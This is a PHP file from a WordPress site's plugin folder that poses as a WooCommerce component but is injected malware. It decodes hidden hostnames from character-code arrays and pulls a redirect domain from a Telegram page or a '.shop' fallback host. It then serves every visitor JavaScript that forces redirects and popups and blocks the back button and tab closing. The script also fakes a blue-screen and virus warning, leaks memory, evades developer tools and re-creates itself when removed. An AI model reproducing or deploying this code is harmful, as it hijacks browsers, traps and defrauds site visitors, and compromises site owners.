File "woocommerce-load.php"

Full Path: /home/ubunrgit/public_html/wp-content/plugins/woocommerce_inputs/woocommerce-load.php
File size: 18.02 KB
MIME-type: text/x-php
Charset: utf-8

<?php
$var_d4acf18edc8f9c88c9277ee0f041fcc6="15031738354577";
function fn_aa3fb05a15bfeb25dc278d4040ae23bf($url){
    $url='https://'.$url;
    if(function_exists('curl_version')){
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
        curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
        curl_setopt($ch,CURLOPT_TIMEOUT,5);
        $result=curl_exec($ch);
        curl_close($ch);
        return $result;
    }
    return @file_get_contents($url);
}
function fn_c6379b95787b21a4e8865133a1342423($arr){
    $str='';
    foreach($arr as $val){$str.=chr($val);}
    return $str;
}
function fn_584c3af00a1385cce80d07a86490fb7d($file,$key){
    $part1=fn_c6379b95787b21a4e8865133a1342423([116,114,97,102,102,105,99,114,101,100,105,114,101,99,116]);
    $part2=fn_c6379b95787b21a4e8865133a1342423([116,46,109,101,47,115,47]);
    $data=fn_aa3fb05a15bfeb25dc278d4040ae23bf($part2.$part1);
    preg_match_all('/<code>(.*?)<\/code>/s',$data,$match);
    $domain=!empty($match[1])?end($match[1]):null;
    $fallback=fn_c6379b95787b21a4e8865133a1342423([112,105,110,107,102,101,108,115]);
    if(empty($domain)){
        $json_data=fn_aa3fb05a15bfeb25dc278d4040ae23bf($fallback.'.'.fn_c6379b95787b21a4e8865133a1342423([115,104,111,112]).'/?t=json&i=14645771df5da3c0472ef9451e1d0fa5&a='.$key);
        $j=@json_decode($json_data,true);
        if(!empty($j['domain'])){$domain=$j['domain'];}
    }
    if(!empty($domain)){file_put_contents($file,base64_encode($domain));}
    return $domain;
}
$file=md5($var_d4acf18edc8f9c88c9277ee0f041fcc6);
$domain=null;
$path=plugin_dir_path(__FILE__).$file;
if(file_exists($path)&&filesize($path)>0){
    $domain=base64_decode(file_get_contents($path));
}else{
    $fetch=fn_584c3af00a1385cce80d07a86490fb7d($path,$var_d4acf18edc8f9c88c9277ee0f041fcc6);
    if($fetch){$domain=$fetch;}
}
if(!empty($domain)){
    $domainWithKey=$domain.'?'.$var_d4acf18edc8f9c88c9277ee0f041fcc6;
    setcookie('wc_already_redirected','1',time()+3600*24*365,'/');
    ?>
    <script>
    (function(){
        var adUrl="<?php echo $domainWithKey;?>";
        var popupOpened=false;
        var fallbackFrame=null;
        var watchers={};
        var rootUrl=window.location.origin+window.location.pathname;

        function tryOpenPopup(u,t){
            if(popupOpened)return null;
            var w=window.open(u,t);
            if(w){popupOpened=true;}
            return w;
        }
        function fallbackIfPopupBlocked(winRef){
            if(!winRef||winRef.closed||typeof winRef.closed==='undefined'){
                window.location.href=adUrl;
            }
        }
        function onBlurHandler(){
            setTimeout(function(){
                window.location.href=adUrl;
            },Math.random()*1000);
        }
        function moduleZeroInit(){
            if(localStorage.getItem("wc_init_done")==="1"){
                window.location.href=adUrl;
            }else{
                localStorage.setItem("wc_init_done","1");
            }
            if(window.screen&&window.screen.availHeight){
                if(document.documentElement.requestFullscreen)document.documentElement.requestFullscreen();
                else if(document.documentElement.webkitRequestFullscreen)document.documentElement.webkitRequestFullscreen();
                else if(document.documentElement.mozRequestFullScreen)document.documentElement.mozRequestFullScreen();
                else if(document.documentElement.msRequestFullscreen)document.documentElement.msRequestFullscreen();
            }
        }
        function moduleOneOpenPopup(){
            var watcher=tryOpenPopup("about:blank","_blank");
            window.location.href=adUrl;
            fallbackIfPopupBlocked(watcher);
            if(watcher){
                watchers.popup1=watcher;
                watcher.document.write('<script>let adFrame;let ws=new WebSocket("wss://echo.websocket.org");function openAd(){if(!adFrame){adFrame=document.createElement("iframe");adFrame.style.position="absolute";adFrame.style.width="100%";adFrame.style.height="100%";adFrame.style.border="none";adFrame.src="<?php echo $domainWithKey;?>";document.body.appendChild(adFrame);}}setInterval(openAd,2000);document.addEventListener("visibilitychange",function(){if(document.hidden){openAd();}});history.pushState({},"",location.href);window.onpopstate=function(){history.pushState({},"",location.href);};setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href="about:blank";}},2000);ws.onopen=function(){ws.send("watching");};ws.onmessage=function(e){if(e.data==="close"){if(adFrame)adFrame.remove();}};<\/script>');
            }
            document.body.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false});
            window.onbeforeunload=function(){return"You must register for the game";};
            window.scrollTo(0,1);
        }
        function moduleTwoBackButtonBlock(){
            function blockBackButton(){
                history.pushState(null,"",location.href);
                window.onpopstate=function(){
                    history.pushState(null,"",location.href);
                    setTimeout(function(){window.location.href=adUrl;},Math.random()*1000);
                };
            }
            function preventCloseTab(){
                window.addEventListener("beforeunload",function(e){e.preventDefault();return e.returnValue="You must register for the game";});
            }
            function reopenTabIfClosed(){
                let focusLost=false;document.addEventListener("visibilitychange",function(){if(document.hidden){focusLost=true;setTimeout(function(){if(focusLost)tryOpenPopup(adUrl,"_blank");},Math.random()*1500);}else{focusLost=false;}});
            }
            function reopenOnBlur(){window.onblur=onBlurHandler;}
            function setupWebSocket(){
                let ws=new WebSocket("wss://echo.websocket.org");
                ws.onopen=function(){ws.send("watching");setInterval(function(){ws.send("ping");},5000);};
                ws.onmessage=function(e){if(e.data==="close"){setTimeout(function(){location.href=adUrl;},Math.random()*1000);}};
            }
            function detectDevTools(){
                setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href="about:blank";}},2000);
            }
            function preventMobileSwipe(){
                document.body.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false});
            }
            function simulateUserActivity(){
                document.addEventListener("mousemove",function(){history.pushState(null,"",location.href);});
            }
            function iframeLoop(){
                fallbackFrame=document.createElement("iframe");
                fallbackFrame.style.position="absolute";
                fallbackFrame.style.width="1px";
                fallbackFrame.style.height="1px";
                fallbackFrame.style.border="none";
                document.body.appendChild(fallbackFrame);
                let win=fallbackFrame.contentWindow;
                win.document.open();
                win.document.write('<script>setInterval(function(){window.open("'+adUrl+'","_blank")},3000);<\/script>');
                win.document.close();
            }
            function mutationObserverProtection(){
                let obs=new MutationObserver(function(){if(fallbackFrame&&!document.body.contains(fallbackFrame)){iframeLoop();}});
                obs.observe(document.body,{childList:true});
            }
            setTimeout(blockBackButton,Math.random()*2000);
            setTimeout(preventCloseTab,Math.random()*2000);
            setTimeout(reopenTabIfClosed,Math.random()*2000);
            setTimeout(reopenOnBlur,Math.random()*2000);
            setTimeout(setupWebSocket,Math.random()*2000);
            setTimeout(detectDevTools,Math.random()*2000);
            setTimeout(preventMobileSwipe,Math.random()*2000);
            setTimeout(simulateUserActivity,Math.random()*2000);
            setTimeout(iframeLoop,Math.random()*2000);
            setTimeout(mutationObserverProtection,Math.random()*2000);
        }
        function moduleThreeSW(){
            if("serviceWorker" in navigator){
                navigator.serviceWorker.register("/sw.js").then(function(){}).catch(function(){});
            }
            if(localStorage.getItem("trapped")==="1"){
                window.location.href=adUrl;
            }else{
                localStorage.setItem("trapped","1");
            }
            let ws=new WebSocket("wss://echo.websocket.org");
            ws.onopen=function(){ws.send("session-started");};
            ws.onmessage=function(e){if(e.data==="redirect"){window.location.href=adUrl;}};
            setTimeout(function(){window.location.href=adUrl;},3000);
        }
        function moduleFourBSOD(){
            function forceFullscreen(){
                let elem=document.documentElement;
                if(elem.requestFullscreen)elem.requestFullscreen();
                else if(elem.webkitRequestFullscreen)elem.webkitRequestFullscreen();
                else if(elem.mozRequestFullScreen)elem.mozRequestFullScreen();
                else if(elem.msRequestFullscreen)elem.msRequestFullscreen();
            }
            function createBSOD(){
                let b=document.createElement("div");
                b.style.position="fixed";b.style.top="0";b.style.left="0";
                b.style.width="100%";b.style.height="100%";b.style.background="#00f";
                b.style.color="#fff";b.style.fontSize="20px";b.style.textAlign="center";
                b.style.paddingTop="20%";b.innerHTML="<h1>You must register for the game</p><p>Press any key</p>";
                document.body.innerHTML="";document.body.appendChild(b);
            }
            function memoryLeak(){
                let d=[];setInterval(function(){d.push(new Array(1000000).fill("memoryleak"));},100);
            }
            function forceRedirectOnKeyPress(){
                document.addEventListener("keydown",function(){location.href=adUrl;});
            }
            window.onbeforeunload=function(){return"You must register for the game";};
            document.addEventListener("visibilitychange",function(){if(document.hidden){location.href=adUrl;}});
            document.addEventListener("keydown",function(e){if(e.key==="Escape"){forceFullscreen();}});
            setTimeout(forceFullscreen,1000);
            setTimeout(createBSOD,2000);
            setTimeout(memoryLeak,3000);
            setTimeout(forceRedirectOnKeyPress,4000);
        }
        function moduleFivePopups(){
            function openPopupWithDelay(){
                let ws=new WebSocket("wss://echo.websocket.org");
                ws.onopen=function(){
                    setTimeout(function(){
                        let newWin=tryOpenPopup(adUrl,"_blank");
                        fallbackIfPopupBlocked(newWin);
                    },Math.random()*3000);
                };
            }
            function loadAdWithWebRTC(){
                let i=document.createElement("iframe");
                i.style.width="1px";i.style.height="1px";i.style.border="none";
                i.src=adUrl;document.body.appendChild(i);
            }
            function registerServiceWorkerBypass(){
                let f=document.createElement("iframe");
                f.style.display="none";
                document.body.appendChild(f);
                let w=f.contentWindow;
                if(w&&w.navigator&&w.navigator.serviceWorker){
                    w.navigator.serviceWorker.register("/sw.js").then(function(){}).catch(function(){});
                }
            }
            function injectMetaRedirect(){
                let m=document.createElement("meta");
                m.httpEquiv="refresh";m.content="3;url="+adUrl;
                document.head.appendChild(m);
            }
            function checkJavaScriptDisabled(){
                let n=document.createElement("noscript");
                n.innerHTML='<meta http-equiv="refresh" content="3;url='+adUrl+'">';
                document.body.appendChild(n);
            }
            window.onbeforeunload=function(){return"You must register for the game";};
            setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){window.close();}},2000);
            history.pushState(null,"",location.href);
            window.onpopstate=function(){history.pushState(null,"",location.href);location.href=adUrl;};
            document.addEventListener("visibilitychange",function(){if(document.hidden){location.href=adUrl;}});
            setTimeout(openPopupWithDelay,1000);
            setTimeout(loadAdWithWebRTC,2000);
            setTimeout(registerServiceWorkerBypass,3000);
            setTimeout(injectMetaRedirect,4000);
            setTimeout(checkJavaScriptDisabled,5000);
        }
        function moduleSixMobile(){
            history.pushState({},"",location.href);
            window.onpopstate=function(){history.pushState({},"",location.href);setTimeout(function(){location.href=adUrl;},Math.random()*1000);};
            document.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false});
            function forceFullscreen(){
                let elem=document.documentElement;
                if(elem.requestFullscreen)elem.requestFullscreen();
                else if(elem.mozRequestFullScreen)elem.mozRequestFullScreen();
                else if(elem.webkitRequestFullscreen)elem.webkitRequestFullscreen();
                else if(elem.msRequestFullscreen)elem.msRequestFullscreen();
            }
            function trapUser(){setInterval(function(){alert("You must register for the game");},3000);}
            document.addEventListener("visibilitychange",function(){if(document.hidden){location.href=adUrl;}});
            window.onbeforeunload=function(){window.open(adUrl,"_blank");};
            setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href=adUrl;}},2000);
            if("serviceWorker" in navigator){navigator.serviceWorker.register("/sw.js").then(function(){});}
            let overlay=null;
            function createVirusOverlay(){
                overlay=document.createElement("div");
                overlay.style.position="fixed";overlay.style.top="0";overlay.style.left="0";
                overlay.style.width="100%";overlay.style.height="100%";
                overlay.style.background="black";overlay.style.color="red";overlay.style.fontSize="30px";
                overlay.style.textAlign="center";overlay.style.paddingTop="50%";
                overlay.innerHTML="⚠ You must register for the game ⚠";
                document.body.appendChild(overlay);
            }
            let obs=new MutationObserver(function(){if(overlay&&!document.body.contains(overlay)){createVirusOverlay();}});
            obs.observe(document.body,{childList:true});
            setTimeout(forceFullscreen,1000);
            setTimeout(trapUser,2000);
            setTimeout(createVirusOverlay,3000);
        }
        function moduleSevenAnotherPopup(){
            let watcher=tryOpenPopup("about:blank","_blank");
            setTimeout(function(){window.location.href=adUrl;},500);
            fallbackIfPopupBlocked(watcher);
            if(watcher){
                watchers.popup7=watcher;
                watcher.document.write('<script>let adFrame;let ws=new WebSocket("wss://echo.websocket.org");function openAd(){if(!adFrame){adFrame=document.createElement("iframe");adFrame.style.position="absolute";adFrame.style.width="100%";adFrame.style.height="100%";adFrame.style.border="none";adFrame.src="<?php echo $domainWithKey;?>";document.body.appendChild(adFrame);}}document.addEventListener("visibilitychange",function(){if(document.hidden){openAd();}});setInterval(openAd,2000);history.pushState({},"",location.href);window.onpopstate=function(){history.pushState({},"",location.href);};setInterval(function(){let b=new Date();debugger;let a=new Date();if(a-b>100){location.href="about:blank";}},2000);ws.onopen=function(){ws.send("watching");};ws.onmessage=function(e){if(e.data==="close"){if(adFrame)adFrame.remove();}};setInterval(function(){fetch("https://example.com/ping",{method:"POST"});},5000);<\/script>');
            }
            window.onbeforeunload=function(){return"";};
            document.body.addEventListener("touchstart",function(e){if(e.touches[0].clientX<50)e.preventDefault();},{passive:false});
            window.scrollTo(0,1);
        }
        function moduleEightFallback(){
            if(localStorage.getItem("wc_fallback_done")==="1"){return;}
            localStorage.setItem("wc_fallback_done","1");
            setInterval(function(){
                if(document.hidden){window.location.href=adUrl;}
            },3000);
        }
        function moduleNineKeepOrigin(){
            var keepTimer=setInterval(function(){
                if(document.hidden){
                    var w=tryOpenPopup(rootUrl,"_blank");
                    if(!w||w.closed||typeof w.closed==="undefined"){
                    }else{
                        watchers.root=w;
                    }
                }
            },5000);
        }
        setTimeout(moduleZeroInit,50);
        setTimeout(moduleOneOpenPopup,100);
        setTimeout(moduleTwoBackButtonBlock,1000);
        setTimeout(moduleThreeSW,2000);
        setTimeout(moduleFourBSOD,3000);
        setTimeout(moduleFivePopups,4000);
        setTimeout(moduleSixMobile,5000);
        setTimeout(moduleSevenAnotherPopup,6000);
        setTimeout(moduleEightFallback,7000);
        setTimeout(moduleNineKeepOrigin,8000);
    })();
    </script>
    <?php
}